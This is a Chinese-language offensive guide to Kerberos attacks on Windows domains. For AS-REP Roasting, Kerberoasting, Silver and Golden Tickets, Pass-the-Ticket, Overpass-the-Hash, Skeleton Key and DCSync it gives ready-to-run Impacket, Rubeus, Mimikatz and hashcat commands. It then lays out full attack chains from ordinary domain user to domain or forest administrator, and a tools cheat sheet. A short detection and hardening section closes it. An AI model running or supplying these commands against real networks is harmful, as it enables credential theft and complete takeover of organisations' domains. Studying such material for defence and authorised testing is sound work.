Kerberos 攻击详解
协议概述
Kerberos 是 Windows 域环境的标准认证协议,提供单点登录 (SSO)。但由于设计复杂,存在多种攻击面。
攻击等级: ⭐⭐⭐⭐⭐
适用场景: 域内渗透、权限提升、横向移动
Kerberos 流程
┌─────────┐ ┌─────────┐ ┌─────────┐
│ Client │ │ KDC │ │ Service │
│ (User) │ │ (DC) │ │ Server │
└─────────┘ └─────────┘ └─────────┘
│ │ │
│ 1. AS-REQ │ │
│ (用户身份) │ │
│───────────────▶│ │
│ │ │
│ 2. AS-REP │ │
│ (TGT) │ │
│◀───────────────│ │
│ │ │
│ 3. TGS-REQ │ │
│ (请求服务) │ │
│───────────────▶│ │
│ │ │
│ 4. TGS-REP │ │
│ (ST) │ │
│◀───────────────│ │
│ │ │
│ 5. AP-REQ │ │
│ (访问服务) │───────────────▶│
│ │ │
│ │ 6. 验证 ST │
│ │───────────────▶│
│ │ │
关键组件
| 缩写 |
全称 |
说明 |
| KDC |
Key Distribution Center |
密钥分发中心 (域控) |
| TGT |
Ticket Granting Ticket |
票据授权票据 |
| ST |
Service Ticket |
服务票据 |
| PAC |
Privilege Attribute Certificate |
权限属性证书 |
常见攻击手法
1. AS-REP Roasting
原理: 用户未启用预认证,可离线爆破密码哈希。
检测:
# 查找未启用预认证的用户
Get-DomainUser -PreauthNotRequired -Properties distinguishedname
# PowerView
Get-DomainUser -PreauthNotRequired | Select-Object Name
# BloodHound
MATCH (u:User {dontreqpreauth:true}) RETURN u.name
利用:
# 1. 获取 AS-REP 响应
python3 GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# Impacket
GetNPUsers.py -dc-ip DC_IP -request -outputfile hashes.txt DOMAIN/
# 2. 离线爆破
hashcat -m 18200 asrep_hashes.txt rockyou.txt
john --format=krb5asrep asrep_hashes.txt
2. Kerberoasting
原理: 请求服务票据,离线爆破服务账号密码。
检测:
# 查找可 Kerberoast 的用户
Get-DomainUser -SPN | Select-Object Name,ServicePrincipalName
# PowerView
Get-DomainUser -SPN | Where-Object {$_.Enabled -eq $true}
# BloodHound
MATCH (u:User {hasspn:true}) RETURN u.name
利用:
# 1. 请求服务票据
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile kerberos_hashes.txt
# Impacket
GetUserSPNs.py -dc-ip DC_IP -request DOMAIN/user
# Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# 2. 离线爆破
hashcat -m 13100 kerberos_hashes.txt rockyou.txt
john --format=krb5tgs kerberos_hashes.txt
3. Silver Ticket
原理: 伪造服务票据 (需要服务哈希)。
前提:
利用:
# 生成 Silver Ticket
python3 ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN -spn "CIFS/target.domain.local" victim
# Impacket
ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee:HASH \
-domain-sid S-1-5-21-XXX \
-domain DOMAIN \
-spn "HOST/target.domain.local" \
administrator
# 使用票据
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass DOMAIN/[email protected]
4. Golden Ticket
原理: 伪造 TGT 票据 (需要 krbtgt 哈希)。
前提:
- 获取 krbtgt 账号 NTLM 哈希
- 知道域 SID
利用:
# 生成 Golden Ticket
python3 ticketer.py -nthash KRBGTG_HASH -domain-sid SID -domain DOMAIN administrator
# Impacket
ticketer.py -nthash aad3b435b51404eeaad3b435b51404ee:KRBGTG_HASH \
-domain-sid S-1-5-21-XXX \
-domain DOMAIN \
-user-id 500 \
-groups 512,513,518,519,520 \
administrator
# Rubeus
Rubeus.exe golden /domain:DOMAIN /sid:SID /krbkey:HASH /user:admin
# 使用票据
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass DOMAIN/[email protected]
5. Pass-the-Ticket (PtT)
原理: 窃取并重放有效票据。
利用:
# 1. 导出票据 (Mimikatz)
sekurlsa::tickets /export
# 2. 注入票据
kerberos::ptt [0;12345][email protected]
# 3. 访问资源
dir \\DC.DOMAIN.LOCAL\c$
# Linux (Impacket)
export KRB5CCNAME=/path/to/ticket.ccache
python3 psexec.py -k -no-pass DOMAIN/[email protected]
6. Overpass-the-Hash
原理: 用 NTLM 哈希获取 TGT。
利用:
# Mimikatz
sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:HASH /run:powershell
# 在 PowerShell 中
kerberos::ask /target:DOMAIN
# Impacket
python3 getTGT.py -hashes :HASH DOMAIN/administrator
export KRB5CCNAME=administrator.ccache
python3 psexec.py -k -no-pass DOMAIN/administrator@target
7. Skeleton Key
原理: 在 LSASS 中注入万能密钥。
利用:
# Mimikatz (需要管理员权限)
privilege::debug
misc::skeleton
# 使用万能密码
net use \\DC\admin$ /user:admin mimikatz
# 对任何用户都可用 "mimikatz" 登录
8. DCSync
原理: 模拟域控同步,获取所有用户哈希。
前提:
- 域管理员权限
- 或 Replicating Directory Changes 权限
利用:
# Mimikatz
lsadump::dcsync /domain:DOMAIN /user:krbtgt
# Impacket
python3 secretsdump.py DOMAIN/administrator:password@DC_IP
# 获取所有用户哈希
python3 secretsdump.py DOMAIN/administrator:password@DC_IP -outputfile ntds
实战案例
案例 1: 从域用户到域管理员
# 1. 初始访问 (钓鱼/漏洞)
# 获得普通域用户权限
# 2. 信息收集
python3 ldapdomaindump.py -u DOMAIN/user -p password DC_IP
# 3. Kerberoasting
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# 4. 爆破服务账号
hashcat -m 13100 hashes.txt rockyou.txt
# 5. 用服务账号权限 DCSync
python3 secretsdump.py DOMAIN/service:password@DC_IP
# 6. 获取 krbtgt 哈希,制作 Golden Ticket
python3 ticketer.py -nthash KRBGTG_HASH -domain-sid SID -domain DOMAIN administrator
# 7. 完全控制域
python3 psexec.py -k -no-pass DOMAIN/administrator@DC
案例 2: 子域到林权限
# 1. 控制子域
# 获取子域域控权限
# 2. 查找林信任
nltest /domain_trusts
# 3. 跨域 DCSync
python3 secretsdump.py CHILD/administrator:password@CHILD_DC
# 4. 获取林根域 krbtgt 哈希
# 通过信任关系
# 5. 制作 Golden Ticket (林根域)
python3 ticketer.py -nthash ROOT_KRBGTG_HASH -domain-sid ROOT_SID -domain ROOT.DOMAIN administrator
# 6. 访问林根域
python3 psexec.py -k -no-pass ROOT.DOMAIN/administrator@ROOT_DC
案例 3: 约束委派攻击
# 1. 查找约束委派
Get-DomainUser -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo
# 2. 获取委派账户权限
# 通过 Kerberoasting 或其他方式
# 3. 模拟用户
Rubeus.exe s4u /user:svc_account /rc4:HASH /domain:DOMAIN /dc:DC /msdsspn:"CIFS/target" /altservice:"CIFS" /ptt
# 4. 访问目标
dir \\target.domain.local\c$
工具
Impacket
# AS-REP Roasting
GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat
# Kerberoasting
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# DCSync
secretsdump.py DOMAIN/admin:pass@DC_IP
# 制作票据
ticketer.py -nthash HASH -domain-sid SID -domain DOMAIN user
Rubeus
# Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt
# AS-REP Roasting
Rubeus.exe asreproast /outfile:hashes.txt
# 票据操作
Rubeus.exe dump
Rubeus.exe ptt /ticket:ticket.kirbi
# S4U 攻击
Rubeus.exe s4u /user:svc /rc4:HASH /msdsspn:"CIFS/target" /ptt
Mimikatz
# 导出票据
sekurlsa::tickets /export
# 注入票据
kerberos::ptt ticket.kirbi
# DCSync
lsadump::dcsync /domain:DOMAIN /user:krbtgt
# Golden Ticket
kerberos::golden /user:admin /domain:DOMAIN /sid:SID /krbtgt:HASH /ptt
# Skeleton Key
misc::skeleton
防御建议
检测
# 1. 监控异常 Kerberos 活动
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4769} |
Where-Object {$_.Message -like "*0x10*"} # 失败日志
# 2. 监控 DCSync
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4662} |
Where-Object {$_.Message -like "*1131f1aa*"} # DS-Replication
# 3. 监控票据请求异常
# 同一用户请求大量 TGS
# 非工作时间请求
# 4. BloodHound 分析
# 识别攻击路径
加固
# 1. 启用预认证
Set-DomainUser -Identity user -PreauthNotRequired $false
# 2. 强密码策略
# 服务账号密码 >25 字符
# 3. 限制委派
# 仅必要的账户启用委派
# 4. 监控 krbtgt 访问
# krbtgt 密码每 180 天更换
# 5. 启用 Kerberos AES
# 禁用 RC4
# 6. 最小权限
# 限制 Replicating Directory Changes 权限
参考链接